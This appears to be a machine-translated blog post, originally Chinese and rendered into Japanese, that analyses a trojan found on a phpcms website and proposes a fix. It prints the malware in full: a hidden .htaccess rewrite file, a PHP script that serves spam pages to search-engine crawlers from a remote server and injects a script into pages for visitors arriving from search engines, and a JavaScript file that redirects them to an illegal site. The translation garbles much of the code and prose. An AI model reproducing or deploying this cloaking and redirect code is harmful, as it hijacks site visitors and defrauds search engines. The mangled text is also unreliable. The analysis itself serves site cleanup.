phpcmsトロイの木馬は、いくつかの違法広告ページのソリューションをジャンプします

1.サイトのルートに隠しの.htaccessファイルを検索します。URLパスは、ジャンプがあります。勝利サーバーで削除することはできません。このファイルの名前は変更することはできません。ATTRIBデルCACLSコマンドでは動作しません。

以下のURL：広告がページにジャンプします

/111safasf/index.html 

/ランダム文字/index.htmlが 

/？= Werwerw zdsfasf

.htaccessファイルクラス内容

ときに対応する接続パスにジャンプするかどうかをアクセスするためのオプションが+ FollowSymLinksを＃シンボリックリンク、
IndexIgnoreが* / *
RewriteEngine ON

するRewriteRule ^（\ + W）/ index.htmlを$画像/ホット/页面の.php？ID = $ 1
のRewriteRule ^ XW（\ワット+）/ $画像/ホット/页面の.php？ID = $ 1

ディレクトリやファイルが存在する場合は＃、それを直接使用
するRewriteCond％{REQUEST_FILENAME}！-f
するRewriteCond％{REQUEST_FILENAME}！-d

＃1のRewriteCond％{REQUEST_FILENAME}！-F（ないファイル場合は、次のRewriteRuleを実行する）
#RewriteCond REQUEST_FILENAME {％}！-D（ディレクトリではない場合は、次のRewriteRuleを実行します）

ページジャンプPHPファイルのコードを検索し、次のようです

<？PHP 

/ * 
 *それは他のウェブページで引用された来ているかどうかを判断する
 * ** / 
関数ISREFを（）
{ 
    $ ISREF =偽; 
    //現在のページにリンクするページのアドレスを取得
    （ISSET（$ _SERVER [場合を！ 'HTTP_REFERER']））{ 
        $ ISREFを返す; 
    } 

    $リファラー= strtolower（$ _SERVER [ 'HTTP_REFERER']）; 
    $ searray =アレイ（ "百度"、 "SO"、 "そごう"、 "SOSO"、 "haosou" 、 "グーグル"）; 
    foreachの（）$ $ searray値ASは、{ 
        ！（strpos（リファラー$、$値はIF）falseに==）{ 
            trueに$ = ISREF; 
            BREAKは、
        } 
    } 
    $ ISREFを返します。
} 

/ * 
 *検索エンジンのスパイダーの訪問かどうかを確認
 * / 
（）関数isspider 
{
    $のisspider =偽; 
    $ HTTP_USER_AGENT = strtolower（$ _、SERVER [ 'HTTP_USER_AGENT']）; 
    $ searray =配列（ '百度'、 '360Spider'、 'Sogouの'、 'SOSO'、 '360'、 'そう'、 'Googleの）; 
    foreachの（$値として$のsearray）{ 
        場合{（strpos（$ HTTP_USER_AGENT、$値）== falseを！）
            $ isspider =はtrue。
            ブレーク; 
        } 
    } 
    $ isspiderを返します。
} 

関数flushout（$のHTML）
{ 
    // 1エコー。
    //のvar_dump（$ htmlの）; 
    ob_clean（）; 
    ob_start（）; 
    $ htmlのエコー。
    ob_flush（）; 
    ob_end_flush（）;

    $ C = ''; 
    IF（function_exists（ 'fsockopenの'））{ 
        $リンク=でもparse_url（$のAPI）
        $クエリ= $リンク[ 'パス']。'？' 。$リンク[ 'クエリ']; 
        $ホスト= strtolower（$リンク[ 'ホスト']）; 
        $ポート= ISSET（$リンク[ 'ポート']）$リンク[ 'ポート']：80;？
        $ FP = fsockopenの（$ホスト、$ポート、$ errnoに、$ errstrは、10）。
        IF（$ FP）{ 
            $アウト= "GET / {$クエリ} HTTP / 1.0 \ rをする\ n"。
            アウト$ = "ホスト：{$ホスト} \ R \ n";。
            $アウト= "ユーザーエージェント：Mozillaの/ 4.0（互換; MSIE 6.0; Windows NTの5.2）\ r \ n"が;。
            $アウト= "接続：閉じるの\ r \ n \ r \ nの";。
            fwriteの（$ fpは、$アウト）。
            $ inheader = 1; 
            $内容= "";
            （！FEOF（$ FP））{ながら、
        ますcurl_setopt（$ chを、CURLOPT_TIMEOUT、15）;
                $行= fgetsの（$ fpは、4096）; 
                IF（$ == 0 inheader）{ 
                    $コンテンツ= $ライン。
                } 
                {（$）（$ライン== "\ n" || $線== "\ R \ n" && inheader）であれば
                    $ inheader = 0。
                } 
            } 
            FCLOSE（$ FP）。
            $ C $ =内容。
        } 
    } 
    （空（$ c）は&& function_exists（ 'curl_init'）&& function_exists（ 'curl_exec'））なら、{ 
        $ CH = curl_init（）; 
        ますcurl_setopt（$ chを、CURLOPT_URL、$のAPI）。
        ますcurl_setopt（$ chを、CURLOPT_RETURNTRANSFER、TRUE）;
        ますcurl_setopt（$ chを、CURLOPT_USERAGENT、 "Mozillaの/ 4.0（互換; MSIE 6.0; Windows NTの5.2）"）; 
        $ C = curl_exec（$ chを）; 
        curl_close（$ chを）; 
    } 
    IF（空（$ C）&&は、ini_get（ 'allow_url_fopenを'））{ 
        $ C = @file_get_contents（$のAPI）
    } 
    IF（空（$ C））{ 
        ヘッダ（ "HTTP / 1.1 404見つかりません"）。
        出口; 
    } 
    //ヘッダ（ "のContent-Type：text / htmlの、文字セット= GBK"）。
    $ cを返します。
} 

$ isspider = isspider（）。
// $ isspider =はtrue。
もし（$ isspider）{  
    $ホスト= $ _SERVER [ 'HTTP_HOST']。
    $のURL = 'のhttp：// WWW蜘蛛服务器地址.CN / 44.phpホスト=' $ホスト。'＆'。$ _SERVER [ 'QUERY_STRING'];
    // $ htmlの=のiconv（ 'GB2312'、 'UTF-8'、$ htmlの）; 
    // flushout（$のURL）; 
    flushout（$ htmlの）; 
} 

$ ISREF = ISREF（）。
// $ ISREF =はtrue。
（$ ISREF）{場合
    。// WWW蜘蛛服务器地址：。。$ htmlの= SRC = 'HTTP "。。。 "CRI"「PT "として" "JAV "<SCRI" "PT LANG" uage ="'。 COM / p1.js'> </ SC RIPT> <BR/> "」。"; 
    flushout（$ htmlの）; 
} 

？> 

<！DOCTYPE htmlのをPUBLIC！ " - // W3C // DTD XHTML 1.0厳格// EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<HTMLのxmlns = "のhttp：//www.w3。
ORG / 1999 / XHTML "> <HEAD> 
<META HTTP-当量=" Content-Typeの"コンテンツ=" text / htmlの。文字セット= 2312" />
<タイトル> 404 -找不到文件或目录</タイトル>。
<スタイルタイプ= "テキスト/ CSS"> 
<！ -  
ボディ{マージン：0;フォントサイズ：.7em;フォントファミリ：
H1 {フォントサイズ：2.4em;マージン：0;色：#FFF;} 
H2 {フォントサイズ：1.7em;マージン：0;色：＃1 CC0000;} 
H3 {フォントサイズ：1.2em;マージン：10pxの0 0 0;色：＃000000;} 
＃ヘッダー{幅：96％;マージン： 0 0 0 0;パディング：計6Px 2％計6Px 2％;フォントファミリ： "投石機MS"、Verdanaの、サンセリフ;色：#FFF。
背景色：＃555555;} 
#content {マージン：0 0 2％;位置：相対;} 
.content容器{背景：#FFF;幅：96％;マージントップ：8px;パディング：10pxの、位置：相対;} 
- > 
</スタイル> 
</ head> 
<body> 
<DIV ID = "ヘッダ"> <H1>服务器错误</ H1> </ div> 
<DIV ID = "コンテンツ"> 
  <H2> 404 -ファイルまたはディレクトリ。</ H2> 
  あなたが探している<H3>リソースが削除された可能性があり、名前が変更または一時的に利用できませんされています。</ H3> 
 <

　ページには、そのファイルサーバへのURLを超える応じジャンプを44.php取得します

。のHttp：// WWWのクモサーバアドレス.CN / 44.phpホスト=＆ '[QUERY_STRING'];その後、 '$ホスト..' $ _SERVER '？。

ランダムにニュースページを生成して、百度をクロール。顧客は、Baiduの検索を通じてURLを入力すると、それは違法ウェブサイトを開くためにジャンプします。　

 

その下にジャンプページJSファイルです

JSコンテンツ

もし（typeof演算（js616 _）== '不定' ）{
     VARの js616_ = 'ロード' 。
    VAR js616dm = document.domain.toLowerCase（）。
    もし（！js616dm.indexOf（ 'qq.com'）= - 1 ）{ 
        ますdocument.writeln（「<スクリプトタイプ= "テキスト/ javascriptの" SRC = "https://js.users.51.la/19555119.js 「> </ SCRIPT>」）; 
        document.writelnを（ "<スクリプト言語= javascriptの>のsetTimeout（\" window.location.href = 'のhttp：// WWW非法网址.COM /。' \ "\ "1000 \"）; </ SCRIPT>" ）; 
        document.writelnを（ "<スクリプト言語= javascriptの>のsetTimeout（\"いるwindow.opener。他の{ 
        document.writelnを（ '<スクリプトタイプ= "テキスト/ javascriptの" SRC = "https://js.users.51.la/19555119.js"> </ SCRIPT>' ）; 
        document.writelnを（ "<スクリプト言語= javascriptの>のsetTimeout（\" window.location.href = 'のhttp：// WWW非法网址.COM /。' \ "\ "1000 \"）; </ SCRIPT>" ）; 
        document.writelnを（ "<スクリプト言語= javascriptの>のsetTimeout（\" window.opener.navigate（ 'のhttp：// WWW非法网址.COM /'）\ "\ "1000 \"）; </ SCRIPT>" ）; 
    } 
}